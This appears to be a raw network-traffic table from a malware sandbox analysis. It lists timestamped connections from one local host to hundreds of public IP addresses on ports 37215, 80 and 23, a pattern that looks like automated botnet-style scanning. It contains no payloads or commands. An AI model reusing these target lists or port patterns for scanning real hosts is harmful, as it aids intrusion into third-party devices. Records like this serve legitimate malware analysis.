Oct 14, 2024 17:34:14.131190062 CEST	29625	37215	192.168.2.14	197.224.62.149
Oct 14, 2024 17:34:14.131194115 CEST	29625	37215	192.168.2.14	197.176.100.58
Oct 14, 2024 17:34:14.131200075 CEST	29625	37215	192.168.2.14	156.79.254.94
Oct 14, 2024 17:34:14.131222963 CEST	29625	37215	192.168.2.14	197.130.207.203
Oct 14, 2024 17:34:14.131222963 CEST	29625	37215	192.168.2.14	156.51.116.13
Oct 14, 2024 17:34:14.131226063 CEST	29625	37215	192.168.2.14	197.188.231.64
Oct 14, 2024 17:34:14.131226063 CEST	29625	37215	192.168.2.14	41.91.220.125
Oct 14, 2024 17:34:14.131228924 CEST	29625	37215	192.168.2.14	156.26.208.217
Oct 14, 2024 17:34:14.131228924 CEST	29625	37215	192.168.2.14	197.122.88.218
Oct 14, 2024 17:34:14.131246090 CEST	29625	37215	192.168.2.14	41.76.37.226
Oct 14, 2024 17:34:14.131246090 CEST	29625	37215	192.168.2.14	156.18.22.194
Oct 14, 2024 17:34:14.131246090 CEST	29625	37215	192.168.2.14	156.18.234.86
Oct 14, 2024 17:34:14.131247997 CEST	29625	37215	192.168.2.14	156.143.51.125
Oct 14, 2024 17:34:14.131259918 CEST	29625	37215	192.168.2.14	156.229.18.122
Oct 14, 2024 17:34:14.131259918 CEST	29625	37215	192.168.2.14	197.239.169.0
Oct 14, 2024 17:34:14.131264925 CEST	29625	37215	192.168.2.14	197.168.171.116
Oct 14, 2024 17:34:14.131274939 CEST	29625	37215	192.168.2.14	156.228.160.156
Oct 14, 2024 17:34:14.131279945 CEST	29625	37215	192.168.2.14	156.31.189.76
Oct 14, 2024 17:34:14.131293058 CEST	29625	37215	192.168.2.14	197.210.67.224
Oct 14, 2024 17:34:14.131295919 CEST	29625	37215	192.168.2.14	197.152.208.24
Oct 14, 2024 17:34:14.131309986 CEST	29625	37215	192.168.2.14	156.163.115.132
Oct 14, 2024 17:34:14.131313086 CEST	29625	37215	192.168.2.14	41.48.224.48
Oct 14, 2024 17:34:14.131315947 CEST	29625	37215	192.168.2.14	41.221.39.148
Oct 14, 2024 17:34:14.131325960 CEST	29625	37215	192.168.2.14	41.157.187.100
Oct 14, 2024 17:34:14.131325960 CEST	29625	37215	192.168.2.14	197.168.142.241
Oct 14, 2024 17:34:14.131340027 CEST	29625	37215	192.168.2.14	197.71.17.89
Oct 14, 2024 17:34:14.131340027 CEST	29625	37215	192.168.2.14	41.116.156.234
Oct 14, 2024 17:34:14.131356001 CEST	29625	37215	192.168.2.14	197.127.56.252
Oct 14, 2024 17:34:14.131371975 CEST	29625	37215	192.168.2.14	41.84.215.116
Oct 14, 2024 17:34:14.131372929 CEST	29625	37215	192.168.2.14	41.160.242.21
Oct 14, 2024 17:34:14.131371975 CEST	29625	37215	192.168.2.14	41.244.17.188
Oct 14, 2024 17:34:14.131380081 CEST	29625	37215	192.168.2.14	197.59.235.242
Oct 14, 2024 17:34:14.131381035 CEST	29625	37215	192.168.2.14	156.142.81.243
Oct 14, 2024 17:34:14.131393909 CEST	29625	37215	192.168.2.14	197.120.235.107
Oct 14, 2024 17:34:14.131405115 CEST	29625	37215	192.168.2.14	41.148.125.114
Oct 14, 2024 17:34:14.131406069 CEST	29625	37215	192.168.2.14	41.17.172.80
Oct 14, 2024 17:34:14.131409883 CEST	29625	37215	192.168.2.14	197.138.61.208
Oct 14, 2024 17:34:14.131409883 CEST	29625	37215	192.168.2.14	41.59.135.43
Oct 14, 2024 17:34:14.131411076 CEST	29625	37215	192.168.2.14	197.113.248.96
Oct 14, 2024 17:34:14.131412029 CEST	29625	37215	192.168.2.14	156.70.161.161
Oct 14, 2024 17:34:14.131433010 CEST	29625	37215	192.168.2.14	197.144.252.178
Oct 14, 2024 17:34:14.131436110 CEST	29625	37215	192.168.2.14	156.69.125.82
Oct 14, 2024 17:34:14.131436110 CEST	29625	37215	192.168.2.14	156.126.184.248
Oct 14, 2024 17:34:14.131443977 CEST	29625	37215	192.168.2.14	156.67.197.198
Oct 14, 2024 17:34:14.133775949 CEST	80	29626	182.64.118.107	192.168.2.14
Oct 14, 2024 17:34:14.133805990 CEST	80	29626	1.215.109.242	192.168.2.14
Oct 14, 2024 17:34:14.133831978 CEST	29626	80	192.168.2.14	182.64.118.107
Oct 14, 2024 17:34:14.133833885 CEST	80	36310	135.208.219.81	192.168.2.14
Oct 14, 2024 17:34:14.133846998 CEST	29626	80	192.168.2.14	1.215.109.242
Oct 14, 2024 17:34:14.133862019 CEST	80	29626	137.46.73.168	192.168.2.14
Oct 14, 2024 17:34:14.133873940 CEST	36310	80	192.168.2.14	135.208.219.81
Oct 14, 2024 17:34:14.133891106 CEST	80	29626	202.214.74.20	192.168.2.14
Oct 14, 2024 17:34:14.133907080 CEST	29626	80	192.168.2.14	137.46.73.168
Oct 14, 2024 17:34:14.133919001 CEST	80	29626	189.57.148.201	192.168.2.14
Oct 14, 2024 17:34:14.133934975 CEST	29626	80	192.168.2.14	202.214.74.20
Oct 14, 2024 17:34:14.133960962 CEST	29626	80	192.168.2.14	189.57.148.201
Oct 14, 2024 17:34:14.133981943 CEST	80	29626	189.67.193.120	192.168.2.14
Oct 14, 2024 17:34:14.134010077 CEST	80	29626	175.185.50.202	192.168.2.14
Oct 14, 2024 17:34:14.134026051 CEST	29626	80	192.168.2.14	189.67.193.120
Oct 14, 2024 17:34:14.134037971 CEST	80	29626	108.81.130.89	192.168.2.14
Oct 14, 2024 17:34:14.134054899 CEST	29626	80	192.168.2.14	175.185.50.202
Oct 14, 2024 17:34:14.134066105 CEST	80	29626	84.10.168.7	192.168.2.14
Oct 14, 2024 17:34:14.134083033 CEST	29626	80	192.168.2.14	108.81.130.89
Oct 14, 2024 17:34:14.134110928 CEST	29626	80	192.168.2.14	84.10.168.7
Oct 14, 2024 17:34:14.134128094 CEST	80	29626	172.2.15.227	192.168.2.14
Oct 14, 2024 17:34:14.134155989 CEST	80	29626	8.160.109.226	192.168.2.14
Oct 14, 2024 17:34:14.134176970 CEST	29626	80	192.168.2.14	172.2.15.227
Oct 14, 2024 17:34:14.134183884 CEST	80	29626	119.106.22.100	192.168.2.14
Oct 14, 2024 17:34:14.134198904 CEST	29626	80	192.168.2.14	8.160.109.226
Oct 14, 2024 17:34:14.134232044 CEST	29626	80	192.168.2.14	119.106.22.100
Oct 14, 2024 17:34:14.134301901 CEST	37215	48092	156.135.171.102	192.168.2.14
Oct 14, 2024 17:34:14.134347916 CEST	48092	37215	192.168.2.14	156.135.171.102
Oct 14, 2024 17:34:14.136357069 CEST	37215	29625	197.120.235.107	192.168.2.14
Oct 14, 2024 17:34:14.136403084 CEST	29625	37215	192.168.2.14	197.120.235.107
Oct 14, 2024 17:34:14.155565023 CEST	58122	80	192.168.2.14	84.156.166.12
Oct 14, 2024 17:34:14.155590057 CEST	49244	37215	192.168.2.14	41.43.52.119
Oct 14, 2024 17:34:14.160763025 CEST	80	58122	84.156.166.12	192.168.2.14
Oct 14, 2024 17:34:14.160815001 CEST	58122	80	192.168.2.14	84.156.166.12
Oct 14, 2024 17:34:14.160881042 CEST	58122	80	192.168.2.14	84.156.166.12
Oct 14, 2024 17:34:14.161823988 CEST	37218	80	192.168.2.14	182.64.118.107
Oct 14, 2024 17:34:14.162498951 CEST	37215	49244	41.43.52.119	192.168.2.14
Oct 14, 2024 17:34:14.162549019 CEST	49244	37215	192.168.2.14	41.43.52.119
Oct 14, 2024 17:34:14.162590981 CEST	49244	37215	192.168.2.14	41.43.52.119
Oct 14, 2024 17:34:14.163254023 CEST	34804	37215	192.168.2.14	197.120.235.107
Oct 14, 2024 17:34:14.163346052 CEST	41986	80	192.168.2.14	1.215.109.242
Oct 14, 2024 17:34:14.164769888 CEST	36290	80	192.168.2.14	137.46.73.168
Oct 14, 2024 17:34:14.166173935 CEST	80	58122	84.156.166.12	192.168.2.14
Oct 14, 2024 17:34:14.166218042 CEST	58122	80	192.168.2.14	84.156.166.12
Oct 14, 2024 17:34:14.166256905 CEST	47440	80	192.168.2.14	202.214.74.20
Oct 14, 2024 17:34:14.166724920 CEST	80	37218	182.64.118.107	192.168.2.14
Oct 14, 2024 17:34:14.166779041 CEST	37218	80	192.168.2.14	182.64.118.107
Oct 14, 2024 17:34:14.167253017 CEST	56834	80	192.168.2.14	189.57.148.201
Oct 14, 2024 17:34:14.168247938 CEST	37215	49244	41.43.52.119	192.168.2.14
Oct 14, 2024 17:34:14.168303967 CEST	49244	37215	192.168.2.14	41.43.52.119
Oct 14, 2024 17:34:14.168329000 CEST	60314	80	192.168.2.14	189.67.193.120
Oct 14, 2024 17:34:14.169447899 CEST	44228	80	192.168.2.14	175.185.50.202
Oct 14, 2024 17:34:14.170505047 CEST	40442	80	192.168.2.14	108.81.130.89
Oct 14, 2024 17:34:14.171493053 CEST	52240	80	192.168.2.14	84.10.168.7
Oct 14, 2024 17:34:14.173520088 CEST	60058	80	192.168.2.14	172.2.15.227
Oct 14, 2024 17:34:14.174937010 CEST	34288	80	192.168.2.14	8.160.109.226
Oct 14, 2024 17:34:14.175787926 CEST	44196	80	192.168.2.14	119.106.22.100
Oct 14, 2024 17:34:14.176359892 CEST	37218	80	192.168.2.14	182.64.118.107
Oct 14, 2024 17:34:14.176361084 CEST	37218	80	192.168.2.14	182.64.118.107
Oct 14, 2024 17:34:14.176386118 CEST	80	52240	84.10.168.7	192.168.2.14
Oct 14, 2024 17:34:14.176429033 CEST	52240	80	192.168.2.14	84.10.168.7
Oct 14, 2024 17:34:14.176714897 CEST	37244	80	192.168.2.14	182.64.118.107
Oct 14, 2024 17:34:14.177206039 CEST	52240	80	192.168.2.14	84.10.168.7
Oct 14, 2024 17:34:14.177227020 CEST	52240	80	192.168.2.14	84.10.168.7
Oct 14, 2024 17:34:14.177541971 CEST	52250	80	192.168.2.14	84.10.168.7
Oct 14, 2024 17:34:14.181240082 CEST	80	37218	182.64.118.107	192.168.2.14
Oct 14, 2024 17:34:14.182312012 CEST	80	52240	84.10.168.7	192.168.2.14
Oct 14, 2024 17:34:14.223356009 CEST	80	52240	84.10.168.7	192.168.2.14
Oct 14, 2024 17:34:14.223439932 CEST	80	37218	182.64.118.107	192.168.2.14
Oct 14, 2024 17:34:14.251600027 CEST	44934	80	192.168.2.14	82.30.22.185
Oct 14, 2024 17:34:14.256652117 CEST	80	44934	82.30.22.185	192.168.2.14
Oct 14, 2024 17:34:14.256728888 CEST	44934	80	192.168.2.14	82.30.22.185
Oct 14, 2024 17:34:14.256798983 CEST	44934	80	192.168.2.14	82.30.22.185
Oct 14, 2024 17:34:14.262092113 CEST	80	44934	82.30.22.185	192.168.2.14
Oct 14, 2024 17:34:14.262140989 CEST	44934	80	192.168.2.14	82.30.22.185
Oct 14, 2024 17:34:14.283561945 CEST	41696	80	192.168.2.14	61.160.177.115
Oct 14, 2024 17:34:14.283561945 CEST	57560	37215	192.168.2.14	41.121.12.129
Oct 14, 2024 17:34:14.283566952 CEST	54146	37215	192.168.2.14	156.233.32.128
Oct 14, 2024 17:34:14.288531065 CEST	80	41696	61.160.177.115	192.168.2.14
Oct 14, 2024 17:34:14.288542986 CEST	37215	57560	41.121.12.129	192.168.2.14
Oct 14, 2024 17:34:14.288552046 CEST	37215	54146	156.233.32.128	192.168.2.14
Oct 14, 2024 17:34:14.288640976 CEST	54146	37215	192.168.2.14	156.233.32.128
Oct 14, 2024 17:34:14.288657904 CEST	57560	37215	192.168.2.14	41.121.12.129
Oct 14, 2024 17:34:14.288681984 CEST	41696	80	192.168.2.14	61.160.177.115
Oct 14, 2024 17:34:14.288681984 CEST	41696	80	192.168.2.14	61.160.177.115
Oct 14, 2024 17:34:14.288750887 CEST	57560	37215	192.168.2.14	41.121.12.129
Oct 14, 2024 17:34:14.288767099 CEST	54146	37215	192.168.2.14	156.233.32.128
Oct 14, 2024 17:34:14.294079065 CEST	37215	54146	156.233.32.128	192.168.2.14
Oct 14, 2024 17:34:14.294131041 CEST	54146	37215	192.168.2.14	156.233.32.128
Oct 14, 2024 17:34:14.294418097 CEST	37215	57560	41.121.12.129	192.168.2.14
Oct 14, 2024 17:34:14.294464111 CEST	57560	37215	192.168.2.14	41.121.12.129
Oct 14, 2024 17:34:14.294548035 CEST	80	41696	61.160.177.115	192.168.2.14
Oct 14, 2024 17:34:14.294593096 CEST	41696	80	192.168.2.14	61.160.177.115
Oct 14, 2024 17:34:14.315562010 CEST	53170	37215	192.168.2.14	41.105.148.190
Oct 14, 2024 17:34:14.315603971 CEST	57386	37215	192.168.2.14	197.211.2.169
Oct 14, 2024 17:34:14.320528984 CEST	37215	53170	41.105.148.190	192.168.2.14
Oct 14, 2024 17:34:14.320601940 CEST	53170	37215	192.168.2.14	41.105.148.190
Oct 14, 2024 17:34:14.320643902 CEST	53170	37215	192.168.2.14	41.105.148.190
Oct 14, 2024 17:34:14.320919991 CEST	37215	57386	197.211.2.169	192.168.2.14
Oct 14, 2024 17:34:14.320981979 CEST	57386	37215	192.168.2.14	197.211.2.169
Oct 14, 2024 17:34:14.321027994 CEST	57386	37215	192.168.2.14	197.211.2.169
Oct 14, 2024 17:34:14.326066017 CEST	37215	53170	41.105.148.190	192.168.2.14
Oct 14, 2024 17:34:14.326117992 CEST	53170	37215	192.168.2.14	41.105.148.190
Oct 14, 2024 17:34:14.326517105 CEST	37215	57386	197.211.2.169	192.168.2.14
Oct 14, 2024 17:34:14.326601982 CEST	57386	37215	192.168.2.14	197.211.2.169
Oct 14, 2024 17:34:14.347560883 CEST	54638	37215	192.168.2.14	41.18.249.50
Oct 14, 2024 17:34:14.353065968 CEST	37215	54638	41.18.249.50	192.168.2.14
Oct 14, 2024 17:34:14.353121996 CEST	54638	37215	192.168.2.14	41.18.249.50
Oct 14, 2024 17:34:14.353152037 CEST	54638	37215	192.168.2.14	41.18.249.50
Oct 14, 2024 17:34:14.358377934 CEST	37215	54638	41.18.249.50	192.168.2.14
Oct 14, 2024 17:34:14.358421087 CEST	54638	37215	192.168.2.14	41.18.249.50
Oct 14, 2024 17:34:14.379551888 CEST	56278	37215	192.168.2.14	41.126.64.10
Oct 14, 2024 17:34:14.379560947 CEST	50734	37215	192.168.2.14	41.70.200.240
Oct 14, 2024 17:34:14.384536982 CEST	37215	56278	41.126.64.10	192.168.2.14
Oct 14, 2024 17:34:14.384618044 CEST	56278	37215	192.168.2.14	41.126.64.10
Oct 14, 2024 17:34:14.384644032 CEST	56278	37215	192.168.2.14	41.126.64.10
Oct 14, 2024 17:34:14.384677887 CEST	37215	50734	41.70.200.240	192.168.2.14
Oct 14, 2024 17:34:14.384721041 CEST	50734	37215	192.168.2.14	41.70.200.240
Oct 14, 2024 17:34:14.384743929 CEST	50734	37215	192.168.2.14	41.70.200.240
Oct 14, 2024 17:34:14.390667915 CEST	37215	56278	41.126.64.10	192.168.2.14
Oct 14, 2024 17:34:14.390830040 CEST	56278	37215	192.168.2.14	41.126.64.10
Oct 14, 2024 17:34:14.390882015 CEST	37215	50734	41.70.200.240	192.168.2.14
Oct 14, 2024 17:34:14.390925884 CEST	50734	37215	192.168.2.14	41.70.200.240
Oct 14, 2024 17:34:14.799885988 CEST	23	38570	60.132.195.87	192.168.2.14
Oct 14, 2024 17:34:14.800342083 CEST	38570	23	192.168.2.14	60.132.195.87
Oct 14, 2024 17:34:14.800905943 CEST	39620	23	192.168.2.14	60.132.195.87
Oct 14, 2024 17:34:14.801305056 CEST	29508	23	192.168.2.14	178.11.40.217
Oct 14, 2024 17:34:14.801307917 CEST	29508	23	192.168.2.14	149.226.14.3
Oct 14, 2024 17:34:14.801310062 CEST	29508	23	192.168.2.14	66.48.253.165
Oct 14, 2024 17:34:14.801311016 CEST	29508	23	192.168.2.14	48.115.4.91
Oct 14, 2024 17:34:14.801316023 CEST	29508	23	192.168.2.14	44.70.80.249
Oct 14, 2024 17:34:14.801323891 CEST	29508	23	192.168.2.14	31.75.145.255
Oct 14, 2024 17:34:14.801328897 CEST	29508	23	192.168.2.14	94.26.58.41
Oct 14, 2024 17:34:14.801345110 CEST	29508	23	192.168.2.14	208.91.164.211
Oct 14, 2024 17:34:14.801347017 CEST	29508	23	192.168.2.14	186.28.125.122
Oct 14, 2024 17:34:14.801347017 CEST	29508	23	192.168.2.14	192.230.84.69
Oct 14, 2024 17:34:14.801350117 CEST	29508	23	192.168.2.14	47.207.11.52
Oct 14, 2024 17:34:14.801361084 CEST	29508	23	192.168.2.14	87.44.95.88
Oct 14, 2024 17:34:14.801362038 CEST	29508	23	192.168.2.14	117.10.14.190
Oct 14, 2024 17:34:14.801362038 CEST	29508	23	192.168.2.14	43.248.210.211
Oct 14, 2024 17:34:14.801363945 CEST	29508	23	192.168.2.14	83.19.181.244
Oct 14, 2024 17:34:14.801363945 CEST	29508	23	192.168.2.14	64.78.164.18
Oct 14, 2024 17:34:14.801367044 CEST	29508	23	192.168.2.14	136.8.247.151
Oct 14, 2024 17:34:14.801367044 CEST	29508	23	192.168.2.14	93.126.214.198
Oct 14, 2024 17:34:14.801363945 CEST	29508	23	192.168.2.14	2.53.227.59
Oct 14, 2024 17:34:14.801367044 CEST	29508	23	192.168.2.14	62.22.83.194
Oct 14, 2024 17:34:14.801367044 CEST	29508	23	192.168.2.14	14.166.132.243
Oct 14, 2024 17:34:14.801369905 CEST	29508	23	192.168.2.14	4.234.109.88
Oct 14, 2024 17:34:14.801373005 CEST	29508	23	192.168.2.14	179.218.58.71
Oct 14, 2024 17:34:14.801379919 CEST	29508	23	192.168.2.14	97.120.10.228
Oct 14, 2024 17:34:14.801390886 CEST	29508	23	192.168.2.14	152.117.110.141
Oct 14, 2024 17:34:14.801394939 CEST	29508	23	192.168.2.14	132.225.126.105
Oct 14, 2024 17:34:14.801394939 CEST	29508	23	192.168.2.14	135.16.252.10
Oct 14, 2024 17:34:14.801394939 CEST	29508	23	192.168.2.14	101.172.229.245
Oct 14, 2024 17:34:14.801398039 CEST	29508	23	192.168.2.14	142.86.14.231
Oct 14, 2024 17:34:14.801398039 CEST	29508	23	192.168.2.14	107.188.109.131
Oct 14, 2024 17:34:14.801409006 CEST	29508	23	192.168.2.14	36.38.214.182
Oct 14, 2024 17:34:14.801413059 CEST	29508	23	192.168.2.14	147.128.51.171
Oct 14, 2024 17:34:14.801418066 CEST	29508	23	192.168.2.14	79.10.203.95
Oct 14, 2024 17:34:14.801418066 CEST	29508	23	192.168.2.14	51.210.74.178
Oct 14, 2024 17:34:14.801433086 CEST	29508	23	192.168.2.14	36.114.104.132
Oct 14, 2024 17:34:14.801434040 CEST	29508	23	192.168.2.14	25.121.180.75
Oct 14, 2024 17:34:14.801434040 CEST	29508	23	192.168.2.14	42.137.187.44
Oct 14, 2024 17:34:14.801436901 CEST	29508	23	192.168.2.14	53.255.60.182
Oct 14, 2024 17:34:14.801453114 CEST	29508	23	192.168.2.14	18.11.117.53
Oct 14, 2024 17:34:14.801454067 CEST	29508	23	192.168.2.14	188.76.235.72
Oct 14, 2024 17:34:14.801460981 CEST	29508	23	192.168.2.14	198.191.168.230
Oct 14, 2024 17:34:14.801462889 CEST	29508	23	192.168.2.14	177.11.127.209
Oct 14, 2024 17:34:14.801462889 CEST	29508	23	192.168.2.14	144.139.45.229
Oct 14, 2024 17:34:14.801465034 CEST	29508	23	192.168.2.14	114.77.154.245
Oct 14, 2024 17:34:14.801471949 CEST	29508	23	192.168.2.14	112.125.52.132
Oct 14, 2024 17:34:14.801475048 CEST	29508	23	192.168.2.14	156.76.41.119
Oct 14, 2024 17:34:14.801484108 CEST	29508	23	192.168.2.14	222.100.93.122
Oct 14, 2024 17:34:14.801484108 CEST	29508	23	192.168.2.14	25.43.117.14
Oct 14, 2024 17:34:14.801487923 CEST	29508	23	192.168.2.14	133.243.224.68
Oct 14, 2024 17:34:14.801496983 CEST	29508	23	192.168.2.14	199.141.172.123
Oct 14, 2024 17:34:14.801496983 CEST	29508	23	192.168.2.14	150.186.243.240
Oct 14, 2024 17:34:14.801497936 CEST	29508	23	192.168.2.14	146.198.70.177
Oct 14, 2024 17:34:14.801497936 CEST	29508	23	192.168.2.14	216.115.27.214
Oct 14, 2024 17:34:14.801506996 CEST	29508	23	192.168.2.14	142.146.34.42
Oct 14, 2024 17:34:14.801511049 CEST	29508	23	192.168.2.14	216.52.168.4
Oct 14, 2024 17:34:14.801517010 CEST	29508	23	192.168.2.14	46.34.1.90
Oct 14, 2024 17:34:14.801522970 CEST	29508	23	192.168.2.14	143.6.162.64
Oct 14, 2024 17:34:14.801522017 CEST	29508	23	192.168.2.14	168.238.92.102
Oct 14, 2024 17:34:14.801537037 CEST	29508	23	192.168.2.14	44.252.145.60
Oct 14, 2024 17:34:14.801549911 CEST	29508	23	192.168.2.14	115.138.84.65
Oct 14, 2024 17:34:14.801553011 CEST	29508	23	192.168.2.14	111.171.176.3
Oct 14, 2024 17:34:14.801553965 CEST	29508	23	192.168.2.14	207.86.148.240
Oct 14, 2024 17:34:14.801553011 CEST	29508	23	192.168.2.14	69.238.81.81
Oct 14, 2024 17:34:14.801553011 CEST	29508	23	192.168.2.14	208.133.2.160
Oct 14, 2024 17:34:14.801557064 CEST	29508	23	192.168.2.14	84.157.179.52
Oct 14, 2024 17:34:14.801557064 CEST	29508	23	192.168.2.14	211.4.85.60
Oct 14, 2024 17:34:14.801557064 CEST	29508	23	192.168.2.14	107.231.148.36
Oct 14, 2024 17:34:14.801564932 CEST	29508	23	192.168.2.14	199.101.45.233
Oct 14, 2024 17:34:14.801565886 CEST	29508	23	192.168.2.14	99.138.49.11
Oct 14, 2024 17:34:14.801565886 CEST	29508	23	192.168.2.14	130.65.251.59
Oct 14, 2024 17:34:14.801568031 CEST	29508	23	192.168.2.14	95.135.197.211
Oct 14, 2024 17:34:14.801568985 CEST	29508	23	192.168.2.14	42.228.54.145
Oct 14, 2024 17:34:14.801568031 CEST	29508	23	192.168.2.14	108.22.63.12
Oct 14, 2024 17:34:14.801574945 CEST	29508	23	192.168.2.14	153.129.189.201
Oct 14, 2024 17:34:14.801578999 CEST	29508	23	192.168.2.14	170.11.122.10
Oct 14, 2024 17:34:14.801579952 CEST	29508	23	192.168.2.14	71.38.25.148
Oct 14, 2024 17:34:14.801584005 CEST	29508	23	192.168.2.14	155.184.186.168
Oct 14, 2024 17:34:14.801584005 CEST	29508	23	192.168.2.14	89.48.218.0
Oct 14, 2024 17:34:14.801585913 CEST	29508	23	192.168.2.14	200.232.87.154
Oct 14, 2024 17:34:14.801589012 CEST	29508	23	192.168.2.14	183.49.26.178
Oct 14, 2024 17:34:14.801590919 CEST	29508	23	192.168.2.14	211.144.228.129
Oct 14, 2024 17:34:14.801590919 CEST	29508	23	192.168.2.14	182.157.156.98
Oct 14, 2024 17:34:14.801590919 CEST	29508	23	192.168.2.14	94.233.187.67
Oct 14, 2024 17:34:14.801590919 CEST	29508	23	192.168.2.14	126.166.219.42
Oct 14, 2024 17:34:14.801597118 CEST	29508	23	192.168.2.14	207.79.0.83
Oct 14, 2024 17:34:14.801597118 CEST	29508	23	192.168.2.14	71.72.214.13
Oct 14, 2024 17:34:14.801601887 CEST	29508	23	192.168.2.14	74.40.35.22
Oct 14, 2024 17:34:14.801601887 CEST	29508	23	192.168.2.14	113.72.13.189
Oct 14, 2024 17:34:14.801604033 CEST	29508	23	192.168.2.14	79.58.163.70
Oct 14, 2024 17:34:14.801601887 CEST	29508	23	192.168.2.14	217.88.167.145
Oct 14, 2024 17:34:14.801604986 CEST	29508	23	192.168.2.14	53.216.113.61
Oct 14, 2024 17:34:14.801609039 CEST	29508	23	192.168.2.14	47.202.155.246
Oct 14, 2024 17:34:14.801610947 CEST	29508	23	192.168.2.14	176.6.205.237
Oct 14, 2024 17:34:14.801613092 CEST	29508	23	192.168.2.14	128.53.30.118
Oct 14, 2024 17:34:14.801620960 CEST	29508	23	192.168.2.14	43.110.213.229
Oct 14, 2024 17:34:14.801621914 CEST	29508	23	192.168.2.14	114.30.21.58
Oct 14, 2024 17:34:14.801624060 CEST	29508	23	192.168.2.14	171.104.129.87
Oct 14, 2024 17:34:14.801621914 CEST	29508	23	192.168.2.14	197.40.155.58
Oct 14, 2024 17:34:14.801625013 CEST	29508	23	192.168.2.14	77.108.123.22
Oct 14, 2024 17:34:14.801625013 CEST	29508	23	192.168.2.14	177.4.174.132
Oct 14, 2024 17:34:14.801628113 CEST	29508	23	192.168.2.14	128.186.51.171
Oct 14, 2024 17:34:14.801628113 CEST	29508	23	192.168.2.14	90.136.244.90
Oct 14, 2024 17:34:14.801628113 CEST	29508	23	192.168.2.14	197.31.255.55
Oct 14, 2024 17:34:14.801631927 CEST	29508	23	192.168.2.14	61.242.252.54
Oct 14, 2024 17:34:14.801637888 CEST	29508	23	192.168.2.14	59.73.145.105
Oct 14, 2024 17:34:14.801644087 CEST	29508	23	192.168.2.14	20.229.165.106
Oct 14, 2024 17:34:14.801646948 CEST	29508	23	192.168.2.14	39.109.85.15
Oct 14, 2024 17:34:14.801646948 CEST	29508	23	192.168.2.14	76.178.229.6
Oct 14, 2024 17:34:14.801646948 CEST	29508	23	192.168.2.14	122.175.8.175
Oct 14, 2024 17:34:14.801647902 CEST	29508	23	192.168.2.14	203.21.144.172
Oct 14, 2024 17:34:14.801647902 CEST	29508	23	192.168.2.14	111.85.17.141
Oct 14, 2024 17:34:14.801655054 CEST	29508	23	192.168.2.14	95.41.83.64
Oct 14, 2024 17:34:14.801655054 CEST	29508	23	192.168.2.14	145.1.246.169
Oct 14, 2024 17:34:14.801655054 CEST	29508	23	192.168.2.14	196.229.207.84
Oct 14, 2024 17:34:14.801656961 CEST	29508	23	192.168.2.14	110.179.206.98
Oct 14, 2024 17:34:14.801656008 CEST	29508	23	192.168.2.14	51.34.92.130
Oct 14, 2024 17:34:14.801655054 CEST	29508	23	192.168.2.14	204.146.150.64
Oct 14, 2024 17:34:14.801656961 CEST	29508	23	192.168.2.14	53.187.157.223
Oct 14, 2024 17:34:14.801664114 CEST	29508	23	192.168.2.14	126.27.187.211
Oct 14, 2024 17:34:14.801668882 CEST	29508	23	192.168.2.14	194.100.220.62
Oct 14, 2024 17:34:14.801671028 CEST	29508	23	192.168.2.14	206.252.211.246
Oct 14, 2024 17:34:14.801671028 CEST	29508	23	192.168.2.14	184.35.208.128
Oct 14, 2024 17:34:14.801671028 CEST	29508	23	192.168.2.14	181.35.247.89
Oct 14, 2024 17:34:14.801671982 CEST	29508	23	192.168.2.14	64.32.38.57
Oct 14, 2024 17:34:14.801671982 CEST	29508	23	192.168.2.14	154.241.194.160
Oct 14, 2024 17:34:14.801672935 CEST	29508	23	192.168.2.14	202.51.144.14
Oct 14, 2024 17:34:14.801676989 CEST	29508	23	192.168.2.14	1.65.112.12
Oct 14, 2024 17:34:14.801676989 CEST	29508	23	192.168.2.14	155.54.215.89
Oct 14, 2024 17:34:14.801681995 CEST	29508	23	192.168.2.14	17.132.129.129
Oct 14, 2024 17:34:14.801687002 CEST	29508	23	192.168.2.14	120.5.35.182
Oct 14, 2024 17:34:14.801687002 CEST	29508	23	192.168.2.14	136.95.174.238
Oct 14, 2024 17:34:14.801687956 CEST	29508	23	192.168.2.14	112.251.178.6
Oct 14, 2024 17:34:14.801687956 CEST	29508	23	192.168.2.14	140.214.154.39
Oct 14, 2024 17:34:14.801687956 CEST	29508	23	192.168.2.14	94.121.134.74
Oct 14, 2024 17:34:14.801687956 CEST	29508	23	192.168.2.14	147.98.112.245
Oct 14, 2024 17:34:14.801688910 CEST	29508	23	192.168.2.14	179.237.131.81
Oct 14, 2024 17:34:14.801688910 CEST	29508	23	192.168.2.14	37.33.170.109
Oct 14, 2024 17:34:14.801700115 CEST	29508	23	192.168.2.14	119.98.191.47
Oct 14, 2024 17:34:14.801701069 CEST	29508	23	192.168.2.14	88.151.168.34
Oct 14, 2024 17:34:14.801701069 CEST	29508	23	192.168.2.14	158.191.228.200
Oct 14, 2024 17:34:14.801701069 CEST	29508	23	192.168.2.14	80.48.230.223
Oct 14, 2024 17:34:14.801704884 CEST	29508	23	192.168.2.14	101.148.244.12
Oct 14, 2024 17:34:14.801704884 CEST	29508	23	192.168.2.14	198.229.127.102
Oct 14, 2024 17:34:14.801711082 CEST	29508	23	192.168.2.14	103.58.178.153
Oct 14, 2024 17:34:14.801714897 CEST	29508	23	192.168.2.14	112.22.146.4
Oct 14, 2024 17:34:14.801721096 CEST	29508	23	192.168.2.14	163.128.167.217
Oct 14, 2024 17:34:14.801722050 CEST	29508	23	192.168.2.14	8.157.222.102
Oct 14, 2024 17:34:14.801721096 CEST	29508	23	192.168.2.14	94.61.42.249
Oct 14, 2024 17:34:14.801722050 CEST	29508	23	192.168.2.14	177.75.227.37
Oct 14, 2024 17:34:14.801722050 CEST	29508	23	192.168.2.14	195.74.45.65
Oct 14, 2024 17:34:14.801723957 CEST	29508	23	192.168.2.14	150.174.175.33
Oct 14, 2024 17:34:14.801723957 CEST	29508	23	192.168.2.14	88.19.140.117
Oct 14, 2024 17:34:14.801728964 CEST	29508	23	192.168.2.14	147.71.168.192
Oct 14, 2024 17:34:14.801732063 CEST	29508	23	192.168.2.14	36.226.28.169
Oct 14, 2024 17:34:14.801739931 CEST	29508	23	192.168.2.14	209.128.63.56
Oct 14, 2024 17:34:14.801742077 CEST	29508	23	192.168.2.14	88.108.59.146
Oct 14, 2024 17:34:14.801742077 CEST	29508	23	192.168.2.14	121.101.163.153
Oct 14, 2024 17:34:14.801747084 CEST	29508	23	192.168.2.14	207.137.242.98
Oct 14, 2024 17:34:14.801753998 CEST	29508	23	192.168.2.14	46.25.249.174
Oct 14, 2024 17:34:14.801754951 CEST	29508	23	192.168.2.14	177.147.181.45
Oct 14, 2024 17:34:14.801755905 CEST	29508	23	192.168.2.14	206.246.106.137
